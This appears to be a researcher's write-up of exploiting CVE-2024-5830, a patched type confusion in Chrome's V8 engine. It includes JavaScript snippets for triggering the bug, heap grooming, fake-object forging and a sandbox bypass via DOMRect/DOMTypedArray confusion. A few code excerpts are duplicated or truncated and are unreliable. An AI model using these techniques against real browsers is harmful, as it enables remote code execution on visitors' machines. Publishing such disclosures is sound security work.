From object transition to RCE in the Chrome renderer

In this post, I’ll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.

| 13 minutes

In this post, I’ll exploit CVE-2024-5830, a type confusion bug in v8, the Javascript engine of Chrome that I reported in May 2024 as bug 342456991. The bug was fixed in version 126.0.6478.56/57. This bug allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.

Object map and map transitions in V8

This section contains some background materials in object maps and transitions that are needed to understand the vulnerability. Readers who are familiar with this can skip to the next section.

The concept of a map (or hidden class) is fairly fundamental to Javascript interpreters. It represents the memory layout of an object and is crucial in the optimization of property access. There are already many good articles that go into much more detail on this topic. I particularly recommend “JavaScript engine fundamentals: Shapes and Inline Caches” by Mathias Bynens.

A map holds an array of property descriptors (DescriptorArrays) that contains information about each property. It also holds details about the elements of the object and its type.

Maps are shared between objects with the same property layout. For example, the following objects both have a single property a of type SMI (31 bit integers), so they can share the same map.


o1 = {a : 1};
o2 = {a : 10000};  //<------ same map as o1, MapA

Maps also account property types in an object. For example, the following object, o3 has a map different from o1 and o2, because its property a is of type double (HeapNumber), rather than SMI:


o3 = {a : 1.1};

When a new property is added to an object, if a map does not already exist for the new object layout, a new map will be created.


o1.b = 1; //<------ new map with SMI properties a and b

When this happens, the old and the new map are related by a transition:


%DebugPrint(o2);
DebugPrint: 0x3a5d00049001: [JS_OBJECT_TYPE]
 - map: 0x3a5d00298911  [FastProperties]
 ...
 - All own properties (excluding elements): {
    0x3a5d00002b19: [String] in ReadOnlySpace: #a: 10000 (const data field 0), location: in-object
 }
0x3a5d00298911: [Map] in OldSpace
 - map: 0x3a5d002816d9 <MetaMap (0x3a5d00281729 )>
 ...
 - instance descriptors #1: 0x3a5d00049011 
 - transitions #1: 0x3a5d00298999 
     0x3a5d00002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x3a5d00298999 
 ...

Note that the map of o2 contains a transition to another map (0x3a5d00298999), which is the newly created map for o3:


%DebugPrint(o3);
DebugPrint: 0x3a5d00048fd5: [JS_OBJECT_TYPE]
 - map: 0x3a5d00298999  [FastProperties]
 ...
 - All own properties (excluding elements): {
    0x3a5d00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x3a5d00002b29: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
 }
0x3a5d00298999: [Map] in OldSpace
 - map: 0x3a5d002816d9 <MetaMap (0x3a5d00281729 )>
 ...
 - back pointer: 0x3a5d00298911 
 ...

Conversely, the map of o2 (0x3a5d00298911) is stored in this new map as the back pointer. A map can store multiple transitions in a TransitionArray. For example, if another property c is added to o2, then the TransitionArray will contain two transitions, one to property b and another to property c:


o4 = {a : 1};
o2.c = 1;
%DebugPrint(o4);
DebugPrint: 0x2dd400049055: [JS_OBJECT_TYPE]
 - map: 0x2dd400298941  [FastProperties]
 - All own properties (excluding elements): {
    0x2dd400002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x2dd400298941: [Map] in OldSpace
 - map: 0x2dd4002816d9 <MetaMap (0x2dd400281729 )>
 ...
 - transitions #2: 0x2dd400298a35 Transition array #2:
     0x2dd400002b39: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd400298a0d 
     0x2dd400002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd4002989c9 
 ...

When a field of type SMI in an object is assigned a double (HeapNumber) value, because the SMI type cannot hold a double value, the map of the object needs to change to reflect this:


o1 = {a : 1};
o2 = {a : 1};
o1 = {a : 1.1};
%DebugPrint(o1);
DebugPrint: 0x1b4e00049015: [JS_OBJECT_TYPE]
 - map: 0x1b4e002989a1  [FastProperties]
 ...
 - All own properties (excluding elements): {
    0x1b4e00002b19: [String] in ReadOnlySpace: #a: 0x1b4e00049041  (const data field 0), location: in-object
 }
...
%DebugPrint(o2);
DebugPrint: 0x1b4e00049005: [JS_OBJECT_TYPE]
 - map: 0x1b4e00298935  [FastProperties]
 ...
 - All own properties (excluding elements): {
    0x1b4e00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x1b4e00298935: [Map] in OldSpace
 ...
 - deprecated_map
 ...

Note that, not only do o1 and o2 have different maps, but the map of o2 is also marked as deprecated. This means that when a new object of the same property layout is created, it’ll use the map of o1 (0x1b4e002989a1) instead of that of o2 (0x1b4e00298935) because a more general map, the map of o1, whose field can represent both HeapNumber and SMI, is now available. Moreover, the map of o2 will also be updated to the map of o1 when its properties are accessed. This is done via the UpdateImpl function:


Handle MapUpdater::UpdateImpl() {
  ...
  if (FindRootMap() == kEnd) return result_map_;
  if (FindTargetMap() == kEnd) return result_map_;
  if (ConstructNewMap() == kAtIntegrityLevelSource) {
    ConstructNewMapWithIntegrityLevelTransition();
  }
  ...
  return result_map_;
}

Essentially, the function uses the back pointer of a map to retrace the transitions until it reaches the first map that does not have a backpointer (the RootMap). It then goes through the transitions from the RootMap to check if there already exists a suitable map in the transitions that can be used for the object (FindTargetMap). If a suitable map is found, then ConstructNewMap will create a new map which is then used by the object.

For example, in the following case, a map with three properties becomes deprecated when the second property is assigned a HeapNumber value:


obj = {a : 1};
obj.b = 1;
obj.c = 1; //<---- Map now has 3 SMI properties
obj.b = 1.1 //<----- original map becomes deprecated and a new map is created

In this case, two new maps are created. First a map with properties a and b of types SMI and HeapNumber respectively, then another map with three properties, a : SMI, b : HeapNumber and c : SMI to accommodate the new property layout:

Diagram showing the two new maps that have been created.

In the above image, the red maps become deprecated and the green maps are newly created maps. After the property assignment, obj will be using the newly created map that has properties a, b and c and the transitions to the deprecated red maps are removed and replaced by the new green transitions.

In v8, object properties can be stored in an array or in a dictionary. Objects with properties stored in an array are referred to as fast objects, while objects with properties in dictionaries are dictionary objects. Map transitions and deprecations are specific to fast objects and normally, when a map deprecation happens, another fast map is created by UpdateImpl. This, however, is not necessarily the case. Let’s take a look at a slightly different example:


obj = {a : 1};
obj.b = 1;    //<---- MapB
obj.c = 1;    //<---- MapC

obj2 = {a : 1};
obj2.b = 1;  //<----- MapB
obj2.b = 1.1;   //<---- map of obj becomes deprecated

Assigning a HeapNumber to obj2.b causes both the original map of obj2 (MapB), as well as the map of obj (MapC) to become deprecated. This is because the map of obj (MapC) is now a transition of a deprecated map (MapB), which causes it to become deprecated as well:

Diagram showing the deprecation of previous maps.

As obj now has a deprecated map, its map will be updated when any of its property is accessed:


x = obj.a; //<---- calls UpdateImpl to update the map of obj

In this case, a new map has to be created and a new transition is added to the map of obj2. However, there is a limited number of transitions that a map can hold. Prior to adding a new transition, a check is carried out to ensure that the map can hold another transition:


MapUpdater::State MapUpdater::ConstructNewMap() {
  ...
  if (maybe_transition.is_null() &&
      !TransitionsAccessor::CanHaveMoreTransitions(isolate_, split_map)) {
    return Normalize("Normalize_CantHaveMoreTransitions");
  }
  ...

If no more transitions can be added, then a new dictionary map will be created via Normalize.


obj = {a : 1};
obj.b = 1;
obj.c = 1;

obj2 = {a : 1};
obj2.b = 1.1;   //<---- map of obj becomes deprecated

//Add transitions to the map of obj2
for (let i = 0; i < 1024 + 512; i++) {
  let tmp = {a : 1};
  tmp.b = 1.1;
  tmp['c' + i] = 1;
}

obj.a = 1; //<----- calls UpdateImpl to update map of obj

As the map of obj2 cannot hold anymore transitions, a new dictionary map is created for obj after its property is accessed. This behavior is somewhat unexpected, so Update is often followed by a debug assertion to ensure that the updated map is not a dictionary map (DCHECK is only active in a debug build):


Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map,
                                        InternalIndex descriptor,
                                        PropertyConstness constness,
                                        Handle value) {
  // Update to the newest map before storing the property.
  map = Update(isolate, map);
  // Dictionaries can store any property value.
  DCHECK(!map->is_dictionary_map());
  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);
}

The vulnerability

While most uses of the function PrepareForDataProperty cannot result in a dictionary map after Update is called, PrepareForDataProperty can be called by CreateDataProperty via TryFastAddDataProperty, which may result in a dictionary map after updating. There are different paths that use CreateDataProperty, but one particularly interesting path is in object cloning. When an object is copied using the spread syntax, a shallow copy of the original object is created:


var obj1 = {a : 1};
const clonedObj = { ...obj1 };

In this case, CreateDataProperty is used for creating new properties in clonedObj and to update its map when appropriate. However, if the object being cloned, obj1 contains a property accessor, then it’ll be called while the object is being cloned. For example, in the following case:


var x = {};
x.a0 = 1;
x.__defineGetter__("prop", function() {
  return 1;
});

var y = {...x};

In this case, when x is cloned into y, the property accessor prop in x is called after the property a0 is copied to y. At this point, the map of y contains only the SMI property a0 and it is possible for the accessor to cause the map of y to become deprecated.


var x = {};
x.a0 = 1;
x.__defineGetter__("prop", function() {
  let obj = {};
  obj.a0 = 1;   //<--- obj has same map as y at this point
  obj.a0 = 1.5;  //<--- map of y becomes deprecated
  return 1;
});

var y = {...x};

When CreateDataProperty is called to copy the property prop, Update in PrepareForDataProperty is called to update the deprecated map of y. As explained before, by adding transitions to the map of obj in the property accessor, it is possible to cause the map update to return a dictionary map for y. Since the subsequent use of the updated map in PrepareForDataProperty assumes the updated map to be a fast map, rather than a dictionary map, this can corrupt the object y in various ways.

Gaining arbitrary read and write in the v8 heap

To begin with, let’s take a look at how the updated map is used in PrepareForDataProperty:


Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map,
                                        InternalIndex descriptor,
                                        PropertyConstness constness,
                                        Handle value) {
  map = Update(isolate, map);
  ...
  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);
}

The updated map is first used by UpdateDescriptorForValue.


Handle UpdateDescriptorForValue(Isolate* isolate, Handle map,
                                     InternalIndex descriptor,
                                     PropertyConstness constness,
                                     Handle value) {
  if (CanHoldValue(map->instance_descriptors(isolate), descriptor, constness,
                   *value)) {
    return map;
  }
  ...
  return mu.ReconfigureToDataField(descriptor, attributes, constness,
                                   representation, type);
}

Within UpdateDescriptorForValue the instance_descriptors of map are accessed. The instance_descriptors contain information about properties in the map but it is only relevant for fast maps. For a dictionary map, it is always an empty array with zero length. Accessing instance_descriptors of a dictionary map would therefore result in out-of-bounds (OOB) access to the empty array. In particular, the call to ReconfigureToDataField can modify entries in the instance_descriptors. While this may look like a promising OOB write primitive, the problem is that zero length descriptor arrays in v8 point to the empty_descriptor_array that is stored in a read-only region:


V(DescriptorArray, empty_descriptor_array, EmptyDescriptorArray)

Any OOB write to the empty_descriptor_array is only going to write to the read-only memory region and cause a crash. To avoid this, I need to cause CanHoldValue to return true so that ReconfigureToDataField is not called. In the call to CanHoldValue, an OOB entry to the empty_descriptor_array is read and then certain conditions are checked:


bool CanHoldValue(Tagged descriptors, InternalIndex descriptor,
                  PropertyConstness constness, Tagged value) {
  PropertyDetails details = descriptors->GetDetails(descriptor);
  if (details.location() == PropertyLocation::kField) {
    if (details.kind() == PropertyKind::kData) {
      return IsGeneralizableTo(constness, details.constness()) &&
             Object::FitsRepresentation(value, details.representation()) &&
             FieldType::NowContains(descriptors->GetFieldType(descriptor),
                                    value);
  ...

Although empty_descriptor_array is stored in a read-only region and I cannot control the memory content that is behind it, the read index, descriptor, is the array index that corresponds to the property prop, which I can control. By changing the number of properties that precede prop in x, I can control the OOB read offset to the empty_descriptor_array. This allows me to choose an appropriate offset so that the conditions in CanHoldValue are satisfied.

While this avoids an immediate crash, it is not exactly useful as far as exploits go. So, let’s take a look at what comes next after a dictionary map is returned from PrepareForDataProperty.


bool CanHoldValue(Tagged descriptors, InternalIndex descriptor,
                  PropertyConstness constness, Tagged value) {
  PropertyDetails details = descriptors->GetDetails(descriptor);
  if (details.location() == PropertyLocation::kField) {
    if (details.kind() == PropertyKind::kData) {
      return IsGeneralizableTo(constness, details.constness()) &&
             Object::FitsRepresentation(value, details.representation()) &&
             FieldType::NowContains(descriptors->GetFieldType(descriptor),
                                    value);
  ...

After the new_map returned, its instance_descriptors, which is the empty_descriptor_array, is read again at offset descriptor, and the result is used to provide another offset in a property write:


void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Tagged value) {
  ...
  FieldIndex index = FieldIndex::ForDetails(map(), details);
  if (details.representation().IsDouble()) {
    ...
  } else {
    FastPropertyAtPut(index, value);
  }
}

In the above, index is encoded in the PropertyDetails and is used in FastPropertyAtPut to write a property in the resulting object. However, FastPropertyAtPut assumes that the object has fast properties stored in a PropertyArray while our object is in fact a dictionary object with properties stored in a NameDictionary. This causes confusion between PropertyArray and NameDictionary, and because NameDictionary contains a few more internal fields than PropertyArray, writing to a NameDictionary using an offset that is meant for a PropertyArray can end up overwriting some internal fields in the NameDictionary. A common way to exploit a confusion between fast and dictionary objects is to overwrite the capacity field in the NameDictionary, which is used for checking the bounds when the NameDictionary is accessed (similar to the method that I used to exploit another v8 bug in this post).

However, as I cannot fully control the PropertyDetails that comes from the OOB read of the empty_descriptor_array, I wasn’t able to overwrite the capacity field of the NameDictionary. Instead, I managed to overwrite another internal field, elements of the NameDictionary. Although the elements field is not normally used for property access, it is used in MigrateSlowToFast as a bound for accessing dictionary properties:


void JSObject::MigrateSlowToFast(Handle object,
                                 int unused_property_fields,
                                 const char* reason) {
  ...
  Handle iteration_order;
  int iteration_length;
  if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
    ...
  } else {
    ...
    iteration_length = dictionary->NumberOfElements();  //<---- elements field
  }
  ...
  for (int i = 0; i get(i)));
      k = dictionary->NameAt(index);

      value = dictionary->ValueAt(index);     //DetailsAt(index);
    }
    ...
  }
  ...
}

In MigrateSlowToFast, dictionary-&gt;NumberOfElements() is used as a bound of the property offsets in a loop that accesses the property NameDictionary. So by overwriting elements to a large value, I can cause OOB read when the property values are read in the loop. These property values are then copied to a newly created fast object. By arranging the heap carefully, I can control the value that is read and have it point to a fake object in the v8 heap.

Diagram displaying how to control the value that is read and have it point to a fake object in the v8 heap.

In the above, the green box is the actual bounds of the NameDictionary, however, with a corrupted elements field, an OOB access can happen during MigrateSlowToFast, causing it to access the value in the red box, and use it as the value of the property. By arranging the heap, I can place arbitrary values in the red box, and in particular, I can make it point to a fake object that I created.

Heap arrangement in v8 is fairly straightforward as objects are allocated linearly in the v8 heap. To place control values after the NameDictionary, I can allocate arrays after the object is cloned and then write control values to the array entries.


var y = {...x};  //<---- NameDictionary allocated

//Placing control values after the NameDictionary
var arr = new Array(256);
for (let i = 0; i < 7; i++) {
  arr[i] = new Array(256);
  for (let j = 0; j < arr[i].length; j++) {
    arr[i][j] = nameAddrF;
  }
}

To make sure that the value I placed after the NameDictionary points to a fake object, I need to know the address of the fake object. As I pointed out in a talk that I gave at the POC2022 conference, object addresses in v8 can be predicted reliably by simply knowing the version of Chrome. This allows me to work out the address of the fake object to use:


var dblArray = [1.1,2.2];
var dblArrayAddr = 0x4881d;  //<---- address of dblArray is consistent across runs

var dblArrayEle = dblArrayAddr - 0x18;
//Creating a fake double array as an element with length 0x100
dblArray[0] = i32tof(dblArrMap, 0x725);
dblArray[1] = i32tof(dblArrayEle, 0x100);

By using the known addresses of objects and their maps, I can create both the fake object and also obtain its address.

Once the heap is prepared, I can trigger MigrateSlowToFast to access the fake object. This can be done by first making the cloned object, y, a prototype of another object, z. Accessing any property of z will then trigger MakePrototypesFast, which calls MigrateSlowToFast for the object y:


var z = {};
z.__proto__ = y;
z.p;    //<------ Calls MigrateSlowToFast for y

This then turns y into a fast object, with the fake object that I prepared earlier accessible as a property of y. A useful fake object is a fake double array with a large length, which can then be used to cause an OOB access to its elements.

Once an OOB access to the fake double array is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:

  1. First, place an Object Array after the fake double array, and use the OOB read primitive in the fake double array to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.
  2. Place another double array, writeArr after the fake double array, and use the OOB write primitive in the fake double array to overwrite the element field of writeArr to an object address. Accessing the elements of writeArr then allows me to read/write to arbitrary addresses.

Thinking outside of the heap sandbox

The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed.

In Chrome, Web API objects, such as the DOM object, are implemented in Blink. Objects in Blink are allocated outside of the v8 heap and are represented as api objects in v8:


var domRect = new DOMRect(1.1,2.3,3.3,4.4);
%DebugPrint(domRect);

DebugPrint: 0x7610003484c9: [[api object] 0]
 ...
 - embedder fields: 2
 - properties: 0x7610000006f5 
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: 0x7718f770b880
    0, aligned pointer: 0x325d00107ca8
 }
0x7610003b6985: [Map] in OldSpace
 - map: 0x76100022f835 <MetaMap (0x76100022f885 )>
 - type: [api object] 0
 ...

These objects are essentially wrappers to objects in Blink, and they contain two embedder fields that store the locations of the actual Blink object, as well as their actual type. Although embedder fields show up as pointer values in the DebugPrint, because of the heap sandbox, they are not actually stored as pointers in the v8 object, but as indices to a lookup table that is protected from being modified within the v8 heap.


bool EmbedderDataSlot::ToAlignedPointer(Isolate* isolate,
                                        void** out_pointer) const {
  ...
#ifdef V8_ENABLE_SANDBOX
  // The raw part must always contain a valid external pointer table index.
  *out_pointer = reinterpret_cast(
      ReadExternalPointerField(
          address() + kExternalPointerOffset, isolate));
  return true;
  ...
}

The external look up table ensures that an embedder field must be a valid index in the table, and also any pointer returned from reading the embedder field must point to a valid Blink object. However, with arbitrary read and write in the v8 heap, I can still replace the embedder field of one api object by the embedder field of another api object that has a different type in Blink. This can then be used to cause type confusion in the Blink object.

In particular, I can cause a type confusion between a DOMRect and a DOMTypedArray. A DOMRect is a simple data structure, with four properties x, y, width, height specifying its dimensions. Accessing these properties simply involves writing to and reading from the corresponding offsets in the DOMRect Blink object. By causing a type confusion between a DOMRect and another other Blink object, I can read and write the values of any Blink object from these offsets. In particular, by confusing a DOMRect with a DOMTypedArray, I can overwrite its backing_store_ pointer, which points to the data storage of the DOMTypedArray. Changing the backing_store_ to an arbitrary pointer value and then accessing entries in the DOMTypedArray then gives me arbitrary read and write access to the entire memory space.

To defeat ASLR and identify useful addresses in the process memory, note that each api object also contains an embedder field that stores a pointer to the wrapper_type_info of the Blink object. Since these wrapper_type_info are global static objects, by confusing this embedder field with a DOMRect object, I can read the pointer to the wrapper_type_info as a property in a DOMRect. In particular, I can now read the address of the TrustedCage::base_, which is the offset to a memory region that contains important objects such as JIT code addresses etc. I can now simply compile a JIT function, and modify the address of its JIT code to achieve arbitrary code execution.

The exploit can be found here with some setup notes.

Conclusion

In this post, I’ve looked at CVE-2024-5830, a confusion between fast and dictionary objects caused by updating of a deprecated map. Map transition and deprecation often introduces complex and subtle problems and has also led to issues that were exploited in the wild. In this case, updating a deprecated map causes it to become a dictionary map unexpectedly, and in particular, the resulting dictionary map is used by code that assumes the input to be a fast map. This allows me to overwrite an internal property of the dictionary map and eventually cause an OOB access to the dictionary. I can then use this OOB access to create a fake object, leading to arbitrary read and write of the v8 heap.

To bypass the v8 heap sandbox, I modify API objects that are wrappers of Blink objects in v8, causing type confusions in objects outside of the heap sandbox. I then leverage this to achieve arbitrary memory read and write outside of the v8 heap sandbox, and in turn arbitrary code execution in the Chrome renderer process.

Written by

Related posts